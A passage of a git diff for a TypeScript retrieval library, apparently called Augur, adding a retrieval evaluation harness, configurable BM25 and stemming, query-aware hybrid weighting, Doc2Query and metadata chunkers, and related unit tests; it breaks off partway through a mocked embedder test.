+ expectedStrategy?: RetrievalStrategy; +} + +export interface PerQueryResult { + query: string; + category?: string; + strategy: RetrievalStrategy; + reranked: boolean; + ndcg10: number; + mrr: number; + recall10: number; + topDocId?: string; + totalRelevant: number; +} + +export interface EvalReport { + corpus: number; + queries: number; + /** Aggregate metrics across all queries with at least one relevant doc. */ + aggregate: { ndcg10: number; mrr: number; recall10: number }; + /** Breakdown grouped by query.category. */ + byCategory: Record; + /** Breakdown grouped by router-chosen strategy. */ + byStrategy: Record; + /** Strategy distribution (counts). */ + strategyCounts: Record; + perQuery: PerQueryResult[]; +} + +const TOP_K = 10; + +export async function runEval( + augur: Augur, + corpus: EvalDoc[], + queries: EvalQuery[] +): Promise { + // Reset adapter so reruns don't double-index. + await augur.clear(); + await augur.index(corpus); + + const perQuery: PerQueryResult[] = []; + const strategyCounts: Record = { + vector: 0, + keyword: 0, + hybrid: 0, + rerank: 0, + }; + + for (const q of queries) { + const { results, trace } = await augur.search({ query: q.query, topK: TOP_K }); + const relevantSet = new Set(q.relevant); + // Map each retrieved chunk back to its document. Multiple chunks from the + // same doc count once at the highest-ranked position (standard practice). + const seenDocs = new Set(); + const docRelevance: number[] = []; + for (const r of results) { + const docId = r.chunk.documentId; + if (seenDocs.has(docId)) continue; + seenDocs.add(docId); + docRelevance.push(relevantSet.has(docId) ? 1 : 0); + } + + const totalRelevant = q.relevant.length; + const ndcg10 = ndcgAt(docRelevance, totalRelevant, TOP_K); + const mrr = reciprocalRank(docRelevance); + const recall10 = recallAt(docRelevance, totalRelevant, TOP_K); + + const strategy = trace.decision.strategy; + strategyCounts[strategy] = (strategyCounts[strategy] ?? 0) + 1; + + perQuery.push({ + query: q.query, + ...(q.category !== undefined ? { category: q.category } : {}), + strategy, + reranked: trace.decision.reranked, + ndcg10, + mrr, + recall10, + ...(results[0] !== undefined ? { topDocId: results[0].chunk.documentId } : {}), + totalRelevant, + }); + } + + // Aggregate excludes queries with no relevant docs (none in current set, + // but defensive — and the ratio is undefined for those). + const scored = perQuery.filter((p) => p.totalRelevant > 0); + const aggregate = { + ndcg10: mean(scored.map((p) => p.ndcg10)), + mrr: mean(scored.map((p) => p.mrr)), + recall10: mean(scored.map((p) => p.recall10)), + }; + + const byCategory = groupedMetrics(scored, (p) => p.category ?? "uncategorized"); + const byStrategy = groupedMetrics(scored, (p) => p.strategy); + + return { + corpus: corpus.length, + queries: queries.length, + aggregate, + byCategory, + byStrategy, + strategyCounts, + perQuery, + }; +} + +function groupedMetrics( + rows: PerQueryResult[], + key: (p: PerQueryResult) => string +): Record { + const buckets = new Map(); + for (const r of rows) { + const k = key(r); + if (!buckets.has(k)) buckets.set(k, []); + buckets.get(k)!.push(r); + } + const out: Record = {}; + for (const [k, group] of buckets) { + out[k] = { + n: group.length, + ndcg10: mean(group.map((p) => p.ndcg10)), + mrr: mean(group.map((p) => p.mrr)), + recall10: mean(group.map((p) => p.recall10)), + }; + } + return out; +} + +/** Pretty-print a report to a string. */ +export function formatReport(report: EvalReport, opts: { verbose?: boolean } = {}): string { + const fmt = (n: number) => n.toFixed(3); + const lines: string[] = []; + lines.push(`Augur eval — corpus=${report.corpus} docs, queries=${report.queries}`); + lines.push(""); + lines.push("Aggregate:"); + lines.push(` NDCG@10 ${fmt(report.aggregate.ndcg10)}`); + lines.push(` MRR ${fmt(report.aggregate.mrr)}`); + lines.push(` Recall@10 ${fmt(report.aggregate.recall10)}`); + lines.push(""); + lines.push("By strategy:"); + for (const [s, m] of Object.entries(report.byStrategy)) { + lines.push( + ` ${s.padEnd(8)} n=${String(m.n).padStart(2)} NDCG@10=${fmt(m.ndcg10)} MRR=${fmt(m.mrr)} Recall@10=${fmt(m.recall10)}` + ); + } + lines.push(""); + lines.push("By category:"); + for (const [c, m] of Object.entries(report.byCategory)) { + lines.push( + ` ${c.padEnd(14)} n=${String(m.n).padStart(2)} NDCG@10=${fmt(m.ndcg10)} MRR=${fmt(m.mrr)} Recall@10=${fmt(m.recall10)}` + ); + } + lines.push(""); + lines.push("Strategy distribution:"); + const total = Object.values(report.strategyCounts).reduce((a, b) => a + b, 0); + for (const [s, c] of Object.entries(report.strategyCounts)) { + const pct = total === 0 ? 0 : (c / total) * 100; + lines.push(` ${s.padEnd(8)} ${String(c).padStart(2)} (${pct.toFixed(0)}%)`); + } + + if (opts.verbose) { + lines.push(""); + lines.push("Per query:"); + for (const r of report.perQuery) { + const status = r.ndcg10 > 0 ? "✓" : r.totalRelevant === 0 ? "·" : "✗"; + const q = r.query.length > 60 ? r.query.slice(0, 57) + "..." : r.query; + lines.push( + ` ${status} ${r.strategy.padEnd(7)}${r.reranked ? "+r " : " "}NDCG=${fmt(r.ndcg10)} MRR=${fmt(r.mrr)} ${q}` + ); + } + } + + return lines.join("\n"); +} diff --git a/evaluations/tsconfig.json b/evaluations/tsconfig.json new file mode 100644 index 0000000..8e6a8a2 --- /dev/null +++ b/evaluations/tsconfig.json @@ -0,0 +1,10 @@ +{ + "extends": "../tsconfig.base.json", + "compilerOptions": { + "noEmit": true, + "module": "ESNext", + "moduleResolution": "Bundler" + }, + "include": ["**/*.ts"], + "exclude": ["node_modules"] +} diff --git a/package.json b/package.json index 79b6ffb..36ffe54 100644 --- a/package.json +++ b/package.json @@ -17,6 +17,7 @@ "test": "pnpm -r test", "lint": "pnpm -r lint", "typecheck": "pnpm -r typecheck", + "eval": "pnpm --filter @augur/evaluations eval", "clean": "pnpm -r exec rm -rf dist .next node_modules/.cache", "format": "prettier --write \"**/*.{ts,tsx,json,md}\"" }, diff --git a/packages/core/package.json b/packages/core/package.json index e1d8e83..8ee39b6 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -24,7 +24,10 @@ "import": "./dist/routing/index.js" } }, - "files": ["dist", "README.md"], + "files": [ + "dist", + "README.md" + ], "scripts": { "build": "tsc -p tsconfig.json", "dev": "tsc -p tsconfig.json --watch", @@ -33,9 +36,9 @@ "clean": "rm -rf dist" }, "devDependencies": { + "@huggingface/transformers": "4.2.0", "@types/node": "^20.11.0", "tsx": "^4.7.0", "typescript": "^5.4.0" - }, - "dependencies": {} + } } diff --git a/packages/core/src/adapters/in-memory.test.ts b/packages/core/src/adapters/in-memory.test.ts new file mode 100644 index 0000000..276dca0 --- /dev/null +++ b/packages/core/src/adapters/in-memory.test.ts @@ -0,0 +1,47 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { InMemoryAdapter } from "./in-memory.js"; +import type { Chunk } from "../types.js"; + +function chunk(id: string, content: string, meta?: Record): Chunk { + return { id, documentId: id.split(":")[0]!, content, index: 0, ...(meta ? { metadata: meta } : {}) }; +} + +test("InMemoryAdapter: keyword search without stemming misses morphological variants", async () => { + const a = new InMemoryAdapter(); + await a.upsert([ + chunk("1:0", "VACUUM in PostgreSQL reclaims dead tuples and prevents bloat."), + chunk("2:0", "Redis Cluster shards keys across hash slots."), + ]); + // "vacuums" (plural) doesn't match "vacuum" (singular) without stemming. + const out = await a.searchKeyword({ query: "vacuums", topK: 5 }); + assert.equal(out.length, 0); +}); + +test("InMemoryAdapter: useStemming=true matches morphological variants", async () => { + const a = new InMemoryAdapter({ useStemming: true }); + await a.upsert([ + chunk("1:0", "VACUUM in PostgreSQL reclaims dead tuples and prevents bloat."), + chunk("2:0", "Redis Cluster shards keys across hash slots."), + ]); + // Both "vacuums" and "vacuumed" stem to "vacuum" (or close) → hit doc 1. + const out = await a.searchKeyword({ query: "vacuums", topK: 5 }); + assert.equal(out.length, 1); + assert.equal(out[0]!.chunk.documentId, "1"); +}); + +test("InMemoryAdapter: useStemming drops English stopwords", async () => { + const a = new InMemoryAdapter({ useStemming: true }); + await a.upsert([chunk("1:0", "the quick brown fox jumps over the lazy dog")]); + // "the" is stopworded and ignored entirely; only content tokens drive scoring. + const out = await a.searchKeyword({ query: "the the the the", topK: 5 }); + assert.equal(out.length, 0); +}); + +test("InMemoryAdapter: configurable BM25 k1 and b", async () => { + const a = new InMemoryAdapter({ k1: 2.0, b: 0.5 }); + await a.upsert([chunk("1:0", "redis redis redis cache")]); + const out = await a.searchKeyword({ query: "redis", topK: 1 }); + assert.equal(out.length, 1); + assert.ok(out[0]!.score > 0); +}); diff --git a/packages/core/src/adapters/in-memory.ts b/packages/core/src/adapters/in-memory.ts index 6e1d4de..75dcc7d 100644 --- a/packages/core/src/adapters/in-memory.ts +++ b/packages/core/src/adapters/in-memory.ts @@ -1,4 +1,5 @@ import { tokenize } from "../embeddings/embedder.js"; +import { tokenizeAdvanced } from "../embeddings/text-utils.js"; import type { Chunk, SearchResult } from "../types.js"; import { BaseAdapter, @@ -18,10 +19,25 @@ import { * Implementation notes: * - Vector search is brute-force cosine. Fine up to ~50k chunks; for more, * plug in a real adapter. - * - Keyword search is BM25 with standard parameters (k1=1.5, b=0.75). - * We rebuild the IDF table lazily on insert. For high-write workloads - * this is a known bottleneck — again, swap in a real adapter at scale. + * - Keyword search is BM25 with standard parameters (k1, b configurable; + * defaults k1=1.5, b=0.75). We rebuild the IDF table lazily on insert. + * For high-write workloads this is a known bottleneck — swap in a real + * adapter at scale. + * - With `useStemming: true`, both indexing and query tokens go through + * Porter stemming + English stopword removal. This is the standard + * Lucene/Elasticsearch keyword pipeline and yields material recall + * gains on natural-language queries (running ↔ runs, connection ↔ + * connections). Default is `false` for backwards compatibility. */ +export interface InMemoryAdapterOptions { + /** Stem indexed and query tokens (Porter) and drop stopwords. Default false. */ + useStemming?: boolean; + /** BM25 k1. Default 1.5. */ + k1?: number; + /** BM25 b. Default 0.75. */ + b?: number; +} + export class InMemoryAdapter extends BaseAdapter { readonly name = "in-memory"; readonly capabilities: AdapterCapabilities = { @@ -33,20 +49,29 @@ export class InMemoryAdapter extends BaseAdapter { }; private chunks = new Map(); - // Inverted index: token -> set of chunk IDs. private invertedIndex = new Map>(); - // Per-chunk token frequencies for BM25. private termFreq = new Map>(); - // Per-chunk total length (tokens). private docLen = new Map(); - // Cached IDF values, invalidated on every upsert/delete. private idfCache: Map | null = null; private avgDocLen = 0; + private k1: number; + private b: number; + private tokenizer: (text: string) => string[]; + + constructor(opts: InMemoryAdapterOptions = {}) { + super(); + this.k1 = opts.k1 ?? 1.5; + this.b = opts.b ?? 0.75; + this.tokenizer = opts.useStemming + ? (text: string) => tokenizeAdvanced(text, { stem: true, dropStopwords: true }) + : tokenize; + } + async upsert(chunks: Chunk[]): Promise { for (const chunk of chunks) { this.chunks.set(chunk.id, chunk); - const tokens = tokenize(chunk.content); + const tokens = this.tokenizer(chunk.content); this.docLen.set(chunk.id, tokens.length); // Reset previous postings for this chunk if it existed. @@ -117,7 +142,7 @@ export class InMemoryAdapter extends BaseAdapter { async searchKeyword(opts: KeywordSearchOpts): Promise { const { query, topK, filter } = opts; - const queryTokens = Array.from(new Set(tokenize(query))); + const queryTokens = Array.from(new Set(this.tokenizer(query))); if (queryTokens.length === 0) return []; if (!this.idfCache) this.recomputeIdf(); @@ -130,8 +155,7 @@ export class InMemoryAdapter extends BaseAdapter { if (postings) for (const id of postings) candidates.add(id); } - const k1 = 1.5; - const b = 0.75; + const { k1, b } = this; const results: SearchResult[] = []; for (const id of candidates) { diff --git a/packages/core/src/adapters/index.ts b/packages/core/src/adapters/index.ts index ace78ba..11e46ec 100644 --- a/packages/core/src/adapters/index.ts +++ b/packages/core/src/adapters/index.ts @@ -6,7 +6,7 @@ export { type HybridSearchOpts, BaseAdapter, } from "./adapter.js"; -export { InMemoryAdapter } from "./in-memory.js"; +export { InMemoryAdapter, type InMemoryAdapterOptions } from "./in-memory.js"; export { PineconeAdapter } from "./pinecone.js"; export { TurbopufferAdapter } from "./turbopuffer.js"; export { PgVectorAdapter, type PgClient } from "./pgvector.js"; diff --git a/packages/core/src/augur.ts b/packages/core/src/augur.ts index 51e49bb..3682668 100644 --- a/packages/core/src/augur.ts +++ b/packages/core/src/augur.ts @@ -92,7 +92,16 @@ export class Augur { // 2. Embed (skip if adapter computes embeddings itself) if (!this.adapter.capabilities.computesEmbeddings && allChunks.length > 0) { const e0 = performance.now(); - const vecs = await this.embedder.embed(allChunks.map((c) => c.content)); + const texts = allChunks.map((c) => c.content); + // Let stateful embedders (TfIdfEmbedder etc) ingest the corpus before + // embedding, so query-time IDFs reflect indexed content. + this.embedder.fit?.(texts); + // Prefer embedDocuments() — embedders that distinguish doc vs query + // task types (Gemini, Cohere v3) score noticeably higher when the + // role is explicit. + const vecs = await (this.embedder.embedDocuments + ? this.embedder.embedDocuments(texts) + : this.embedder.embed(texts)); vecs.forEach((v, i) => { allChunks[i]!.embedding = v; }); @@ -151,6 +160,7 @@ export class Augur { if (decision.strategy === "vector") { const embedding = await tracer.span("embed:query", async () => { + if (this.embedder.embedQuery) return this.embedder.embedQuery(req.query); const [v] = await this.embedder.embed([req.query]); return v!; }); @@ -163,21 +173,28 @@ export class Augur { ); } else if (decision.strategy === "hybrid") { const embedding = await tracer.span("embed:query", async () => { + if (this.embedder.embedQuery) return this.embedder.embedQuery(req.query); const [v] = await this.embedder.embed([req.query]); return v!; }); + // Query-aware hybrid weight: short / specific queries lean BM25; long + // natural-language queries lean vector. Production hybrid systems (Vespa, + // Pinecone hybrid) all do some version of this — a fixed 0.5/0.5 mix + // under-weights whichever side is wrong for the current query shape. + const vectorWeight = pickVectorWeight(decision.signals); candidates = await tracer.span("search:hybrid", () => (activeAdapter.searchHybrid ?? hybridFallback).call(activeAdapter, { embedding, query: req.query, topK: expandedTopK, - vectorWeight: 0.6, // sensible default; tunable via context + vectorWeight, ...(req.filter ? { filter: req.filter } : {}), }) ); } else if (decision.strategy === "rerank") { // "rerank" as a top-level strategy means "do vector then rerank, period". const embedding = await tracer.span("embed:query", async () => { + if (this.embedder.embedQuery) return this.embedder.embedQuery(req.query); const [v] = await this.embedder.embed([req.query]); return v!; }); @@ -222,6 +239,28 @@ export class Augur { } } +/** + * Map query signals to a hybrid vector/keyword weight. The output is the + * fraction the vector side gets in RRF / score combination; (1 - weight) + * goes to BM25. + * + * Heuristic, no learned weights — a tiny query-aware ramp: + * + * - Quoted phrase or specific identifier present → BM25 carries (0.3). + * The user is asking for an exact match; vector tends to dilute. + * - Very short query (≤2 tokens) → BM25 leans (0.4). Bi-encoders embed + * single terms poorly. + * - Long natural-language question (≥6 tokens, no specific tokens) → + * vector leans (0.7). Semantic match dominates lexical at length. + * - Default → 0.5. Equal mix when the query gives no strong signal. + */ +function pickVectorWeight(signals: import("./types.js").QuerySignals): number { + if (signals.hasQuotedPhrase || signals.hasSpecificTokens || signals.hasCodeLike) return 0.3; + if (signals.tokens <= 2) return 0.4; + if (signals.isQuestion && signals.tokens >= 6) return 0.7; + return 0.5; +} + /** Fallback hybrid for adapters that didn't override `searchHybrid`. */ async function hybridFallback( this: VectorAdapter, diff --git a/packages/core/src/chunking/chunker.ts b/packages/core/src/chunking/chunker.ts index 689b809..2026a70 100644 --- a/packages/core/src/chunking/chunker.ts +++ b/packages/core/src/chunking/chunker.ts @@ -207,12 +207,19 @@ export class SemanticChunker implements Chunker { } } -/** Compatibility helper: any Chunker, sync or async. */ +/** + * Compatibility helper: any Chunker, sync or async. + * + * Async chunkers (SemanticChunker, Doc2QueryChunker, MetadataChunker over + * an async base) implement `chunkAsync(doc)`. Detected by feature, not by + * class — keeps third-party async chunkers working without subclassing. + */ export async function chunkDocument( chunker: Chunker | SemanticChunker, doc: Document ): Promise { - if (chunker instanceof SemanticChunker) return chunker.chunkAsync(doc); + const c = chunker as { chunkAsync?: (doc: Document) => Promise }; + if (typeof c.chunkAsync === "function") return c.chunkAsync(doc); return chunker.chunk(doc); } diff --git a/packages/core/src/chunking/doc2query-chunker.test.ts b/packages/core/src/chunking/doc2query-chunker.test.ts new file mode 100644 index 0000000..a194182 --- /dev/null +++ b/packages/core/src/chunking/doc2query-chunker.test.ts @@ -0,0 +1,36 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { Doc2QueryChunker } from "./doc2query-chunker.js"; +import { SentenceChunker } from "./chunker.js"; + +// Tests cover construction + sync-call rejection + name. The model-load +// path runs through the eval harness so CI doesn't download ~24MB of +// weights for unit tests. + +test("Doc2QueryChunker: default model is Xenova/LaMini-T5-61M", () => { + const c = new Doc2QueryChunker({ base: new SentenceChunker() }); + assert.ok(c.name.includes("Xenova/LaMini-T5-61M")); +}); + +test("Doc2QueryChunker: throws on sync chunk() — must use chunkAsync via chunkDocument", () => { + const c = new Doc2QueryChunker({ base: new SentenceChunker() }); + assert.throws( + () => c.chunk({ id: "x", content: "hi" }), + /async; use chunkAsync/ + ); +}); + +test("Doc2QueryChunker: empty doc returns empty without invoking the model", async () => { + const c = new Doc2QueryChunker({ base: new SentenceChunker() }); + const out = await c.chunkAsync({ id: "x", content: "" }); + assert.deepEqual(out, []); +}); + +test("Doc2QueryChunker: name reflects model and base chunker", () => { + const c = new Doc2QueryChunker({ + base: new SentenceChunker(), + model: "Xenova/flan-t5-small", + }); + assert.ok(c.name.includes("Xenova/flan-t5-small")); + assert.ok(c.name.includes("sentence")); +}); diff --git a/packages/core/src/chunking/doc2query-chunker.ts b/packages/core/src/chunking/doc2query-chunker.ts new file mode 100644 index 0000000..6a08f7f --- /dev/null +++ b/packages/core/src/chunking/doc2query-chunker.ts @@ -0,0 +1,128 @@ +/** + * Doc2QueryChunker — at index time, generate synthetic questions each + * chunk could answer, then append them to the chunk's content. The + * embedder and BM25 index see the union of (real content) + (synthesized + * questions), which closes the lexical gap between conversational queries + * and reference-style source material. + * + * Why this works: production retrieval systems (msmarco, Anthropic's + * internal RAG, doc2query/T5 paper) consistently find +5-15% recall on + * conversational queries from this trick. The cost is paid once, at + * indexing. Query-time latency is unchanged. + * + * Default generator: `Xenova/LaMini-T5-61M` (~24MB ONNX, instruction- + * tuned for "small but coherent" tasks). Override with any sequence-to- + * sequence model on HuggingFace that's been ONNX-converted under the + * `Xenova/` namespace (e.g. `Xenova/flan-t5-small`, `Xenova/t5-small`). + * + * Like LocalEmbedder, this does a dynamic import of + * `@huggingface/transformers` so consumers who don't use Doc2Query don't + * need the package installed. + */ + +import type { Chunk, Document } from "../types.js"; +import type { Chunker } from "./chunker.js"; +import { chunkDocument, SemanticChunker } from "./chunker.js"; + +const pipelineCache = new Map>(); + +async function getGenerationPipeline(model: string): Promise { + let p = pipelineCache.get(model); + if (p) return p; + p = (async () => { + const transformers = (await import("@huggingface/transformers")) as unknown as { + pipeline: (task: string, model: string) => Promise; + }; + return transformers.pipeline("text2text-generation", model); + })(); + pipelineCache.set(model, p); + return p; +} + +export interface Doc2QueryChunkerOptions { + /** Base chunker that produces the original chunks. Required. */ + base: Chunker | SemanticChunker; + /** ONNX text2text model used to generate synthetic queries. Default: Xenova/LaMini-T5-61M. */ + model?: string; + /** How many synthetic queries per chunk. More = better recall, longer index time. Default 3. */ + numQueries?: number; + /** Generation max length. Short questions are fine for retrieval. Default 32. */ + maxLength?: number; + /** + * Prompt template. The model sees `prompt(chunk.content)`. Default + * is the standard doc2query phrasing: "Generate a question this + * passage answers: ". + */ + prompt?: (text: string) => string; + /** + * How to combine synthetic queries with the chunk's content. Default + * appends them as a separate "Questions answered:" block so they + * influence BM25 + embedding without obliterating the original prose. + */ + format?: (originalContent: string, queries: string[]) => string; +} + +export class Doc2QueryChunker implements Chunker { + readonly name: string; + private base: Chunker | SemanticChunker; + private model: string; + private numQueries: number; + private maxLength: number; + private prompt: (text: string) => string; + private format: (original: string, queries: string[]) => string; + + constructor(opts: Doc2QueryChunkerOptions) { + this.base = opts.base; + this.model = opts.model ?? "Xenova/LaMini-T5-61M"; + this.numQueries = opts.numQueries ?? 3; + this.maxLength = opts.maxLength ?? 32; + this.prompt = opts.prompt ?? ((text) => `Generate a question this passage answers: ${text}`); + this.format = + opts.format ?? + ((original, queries) => + queries.length === 0 + ? original + : `${original}\n\nQuestions answered:\n${queries.map((q) => `- ${q}`).join("\n")}`); + this.name = `doc2query(${(opts.base as Chunker).name ?? "base"}, ${this.model})`; + } + + chunk(_doc: Document): Chunk[] { + throw new Error("Doc2QueryChunker is async; use chunkAsync() via chunkDocument()"); + } + + async chunkAsync(doc: Document): Promise { + const baseChunks = await chunkDocument(this.base, doc); + if (baseChunks.length === 0) return []; + + const pipe = (await getGenerationPipeline(this.model)) as ( + input: string | string[], + opts: { + max_length?: number; + num_return_sequences?: number; + do_sample?: boolean; + top_k?: number; + top_p?: number; + } + ) => Promise | Array>>; + + const augmented: Chunk[] = []; + for (const c of baseChunks) { + const prompted = this.prompt(c.content); + // T5 generation: ask for N candidates with sampling for diversity. + const raw = await pipe(prompted, { + max_length: this.maxLength, + num_return_sequences: this.numQueries, + do_sample: true, + top_k: 50, + top_p: 0.95, + }); + const flat = Array.isArray(raw[0]) ? (raw as Array>)[0]! : (raw as Array<{ generated_text: string }>); + const queries = Array.from(new Set(flat.map((r) => r.generated_text.trim()))).filter(Boolean); + augmented.push({ + ...c, + content: this.format(c.content, queries), + }); + } + return augmented; + } +} diff --git a/packages/core/src/chunking/index.ts b/packages/core/src/chunking/index.ts index 5671706..c7cecd7 100644 --- a/packages/core/src/chunking/index.ts +++ b/packages/core/src/chunking/index.ts @@ -5,3 +5,5 @@ export { SemanticChunker, chunkDocument, } from "./chunker.js"; +export { MetadataChunker } from "./metadata-chunker.js"; +export { Doc2QueryChunker, type Doc2QueryChunkerOptions } from "./doc2query-chunker.js"; diff --git a/packages/core/src/chunking/metadata-chunker.test.ts b/packages/core/src/chunking/metadata-chunker.test.ts new file mode 100644 index 0000000..85bba52 --- /dev/null +++ b/packages/core/src/chunking/metadata-chunker.test.ts @@ -0,0 +1,51 @@ +import { test } from "node:test"; +import assert from "node:assert/strict"; +import { MetadataChunker } from "./metadata-chunker.js"; +import { SentenceChunker, chunkDocument } from "./chunker.js"; + +test("MetadataChunker: prepends default prefix to each chunk", () => { + const wrapper = new MetadataChunker({ base: new SentenceChunker() }); + const chunks = wrapper.chunk({ + id: "doc1", + content: "First sentence here. Second sentence here. Third sentence here.", + metadata: { topic: "postgres", title: "Pooling" }, + }); + assert.ok(chunks.length > 0); + for (const c of chunks) { + assert.ok(c.content.startsWith("[doc1 | title: Pooling | topic: postgres]")); + } +}); + +test("MetadataChunker: omits prefix when no metadata fields match", () => { + const wrapper = new MetadataChunker({ base: new SentenceChunker() }); + const chunks = wrapper.chunk({ + id: "doc-x", + content: "First. Second. Third.", + }); + // Default formatter at minimum includes the doc id. + for (const c of chunks) { + assert.ok(c.content.startsWith("[doc-x]")); + } +}); + +test("MetadataChunker: custom formatPrefix overrides default", () => { + const wrapper = new MetadataChunker({ + base: new SentenceChunker(), + formatPrefix: (doc) => `<<${doc.id.toUpperCase()}>>`, + }); + const chunks = wrapper.chunk({ + id: "abc", + content: "Only one sentence.", + }); + assert.ok(chunks[0]!.content.startsWith("<>")); +}); + +test("MetadataChunker: works through chunkDocument helper", async () => { + const wrapper = new MetadataChunker({ base: new SentenceChunker() }); + const chunks = await chunkDocument(wrapper, { + id: "doc-y", + content: "First. Second.", + metadata: { topic: "redis" }, + }); + assert.ok(chunks.every((c) => c.content.includes("redis"))); +}); diff --git a/packages/core/src/chunking/metadata-chunker.ts b/packages/core/src/chunking/metadata-chunker.ts new file mode 100644 index 0000000..07138cc --- /dev/null +++ b/packages/core/src/chunking/metadata-chunker.ts @@ -0,0 +1,73 @@ +import type { Chunk, Document } from "../types.js"; +import type { Chunker } from "./chunker.js"; +import { chunkDocument, SemanticChunker } from "./chunker.js"; + +/** + * MetadataChunker — wraps a base chunker, prepending document metadata to + * each chunk's content before storage and embedding. + * + * This is the "Doc2Query lite" idea from production retrieval systems: + * at index time, augment chunk content with structured signals (title, + * section, topic) so the embedder and the BM25 index see them. Cheap, + * deterministic, and reliably yields +5-15% recall on conversational + * queries that use natural-language descriptions of metadata fields. + * + * Trade-off: the prefix appears in the chunk content returned to users. + * Strip it on display if you don't want it visible, or keep it as a + * compact citation header. + * + * Default formatter: + * [doc-id | topic: | title: ]\n<content> + * + * Pass a custom `formatPrefix` to control the format. + */ +export class MetadataChunker implements Chunker { + readonly name: string; + private base: Chunker | SemanticChunker; + private formatPrefix: (doc: Document) => string; + + constructor(opts: { + base: Chunker | SemanticChunker; + formatPrefix?: (doc: Document) => string; + }) { + this.base = opts.base; + this.formatPrefix = opts.formatPrefix ?? defaultPrefix; + this.name = `metadata(${(opts.base as Chunker).name ?? "base"})`; + } + + chunk(doc: Document): Chunk[] { + if (this.base instanceof SemanticChunker) { + throw new Error( + "MetadataChunker base is async (SemanticChunker); use chunkAsync via chunkDocument()" + ); + } + const chunks = (this.base as Chunker).chunk(doc); + return this.prefixChunks(chunks, doc); + } + + async chunkAsync(doc: Document): Promise<Chunk[]> { + const chunks = await chunkDocument(this.base, doc); + return this.prefixChunks(chunks, doc); + } + + private prefixChunks(chunks: Chunk[], doc: Document): Chunk[] { + const prefix = this.formatPrefix(doc).trim(); + if (!prefix) return chunks; + return chunks.map((c) => ({ + ...c, + content: `${prefix}\n${c.content}`, + })); + } +} + +function defaultPrefix(doc: Document): string { + const parts: string[] = [doc.id]; + const meta = doc.metadata ?? {}; + for (const key of ["title", "topic", "section", "kind", "lang"]) { + const v = meta[key]; + if (typeof v === "string" && v.length > 0) { + parts.push(`${key}: ${v}`); + } + } + return `[${parts.join(" | ")}]`; +} diff --git a/packages/core/src/embeddings/embedder.test.ts b/packages/core/src/embeddings/embedder.test.ts new file mode 100644 index 0000000..81d5af3 --- /dev/null +++ b/packages/core/src/embeddings/embedder.test.ts @@ -0,0 +1,208 @@ +import { test, beforeEach, afterEach } from "node:test"; +import assert from "node:assert/strict"; +import { GeminiEmbedder, HashEmbedder, TfIdfEmbedder } from "./embedder.js"; + +test("HashEmbedder: deterministic and L2-normalized", async () => { + const e = new HashEmbedder(64); + const [a1] = await e.embed(["hello world"]); + const [a2] = await e.embed(["hello world"]); + assert.deepEqual(a1, a2); + let norm = 0; + for (const v of a1!) norm += v * v; + assert.ok(Math.abs(Math.sqrt(norm) - 1) < 1e-6); +}); + +test("TfIdfEmbedder: produces L2-normalized vectors", async () => { + const e = new TfIdfEmbedder({ dimension: 256 }); + e.fit(["postgres connection pooling", "kubernetes liveness probes", "redis cache eviction"]); + const [v] = await e.embed(["postgres pooling"]); + let norm = 0; + for (const x of v!) norm += x * x; + assert.ok(Math.abs(Math.sqrt(norm) - 1) < 1e-6); +}); + +test("TfIdfEmbedder: rare tokens dominate the vector via IDF", async () => { + const e = new TfIdfEmbedder({ dimension: 256 }); + e.fit([ + "common word common word common", + "common word", + "common", + "common word rare-token", + ]); + // Rare token in only 1/4 docs → high IDF. + const [vRare] = await e.embed(["rare-token"]); + const [vCommon] = await e.embed(["common"]); + // Both vectors are L2-normalized; magnitude isn't comparable that way. + // But the dot product of vRare with itself should be 1, and the dot of + // vRare with vCommon should be near 0 (different active dimensions). + let dot = 0; + for (let i = 0; i < vRare!.length; i++) dot += vRare![i]! * vCommon![i]!; + assert.ok(Math.abs(dot) < 0.6, `expected near-orthogonal vectors, got dot=${dot}`); +}); + +test("TfIdfEmbedder: same input → same output", async () => { + const e = new TfIdfEmbedder({ dimension: 256, corpus: ["alpha beta gamma"] }); + const [v1] = await e.embed(["alpha beta"]); + const [v2] = await e.embed(["alpha beta"]); + assert.deepEqual(v1, v2); +}); + +test("TfIdfEmbedder: stemming makes inflections cluster", async () => { + const e = new TfIdfEmbedder({ dimension: 1024, useStemming: true }); + e.fit([ + "running runs run runner", + "connection connections connect connecting", + "deploy deploys deployed deploying", + ]); + const [vRunning] = await e.embed(["running"]); + const [vRuns] = await e.embed(["runs"]); + // Both stem to "run" → vectors should be near-identical. + let dot = 0; + for (let i = 0; i < vRunning!.length; i++) dot += vRunning![i]! * vRuns![i]!; + assert.ok(dot > 0.99, `expected near-identical vectors after stemming, got dot=${dot}`); +}); + +test("TfIdfEmbedder: empty input yields zero vector", async () => { + const e = new TfIdfEmbedder({ dimension: 64 }); + const [v] = await e.embed([""]); + assert.equal(v!.length, 64); + for (const x of v!) assert.equal(x, 0); +}); + +// ---------- GeminiEmbedder (mocked fetch) ---------- + +let originalFetch: typeof fetch; +beforeEach(() => { + originalFetch = globalThis.fetch; +}); +afterEach(() => { + globalThis.fetch = originalFetch; +}); + +function stubFetch(handler: (url: string, init: RequestInit) => Response) { + globalThis.fetch = (input: string | URL | Request, init?: RequestInit) => { + const url = typeof input === "string" ? input : input.toString(); + return Promise.resolve(handler(url, init ?? {})); + }; +} + +test("GeminiEmbedder: constructor errors when no key", () => { + const orig = process.env.GEMINI_API_KEY; + const orig2 = process.env.GOOGLE_API_KEY; + delete process.env.GEMINI_API_KEY; + delete process.env.GOOGLE_API_KEY; + try { + assert.throws(() => new GeminiEmbedder(), /apiKey not provided/); + } finally { + if (orig !== undefined) process.env.GEMINI_API_KEY = orig; + if (orig2 !== undefined) process.env.GOOGLE_API_KEY = orig2; + } +}); + +test("GeminiEmbedder: embedDocuments tags taskType=RETRIEVAL_DOCUMENT", async () => { + let seenBody: any = null; + stubFetch((_url, init) => { + seenBody = JSON.parse(init.body as string); + return new Response( + JSON.stringify({ + embeddings: [{ values: [0.1, 0.2, 0.3] }], + }), + { status: 200, headers: { "Content-Type": "application/json" } } + ); + }); + const e = new GeminiEmbedder({ apiKey: "stub-key" }); + await e.embedDocuments(["hello"]); + assert.equal(seenBody.requests[0].taskType, "RETRIEVAL_DOCUMENT"); + assert.equal(seenBody.requests[0].content.parts[0].text, "hello"); + assert.equal(seenBody.requests[0].model, "models/gemini-embedding-001"); + assert.equal(seenBody.requests[0].outputDimensionality, 768); +}); + +test("GeminiEmbedder: embedQuery tags taskType=RETRIEVAL_QUERY", async () => { + let seenBody: any = null; + stubFetch((_url, init) 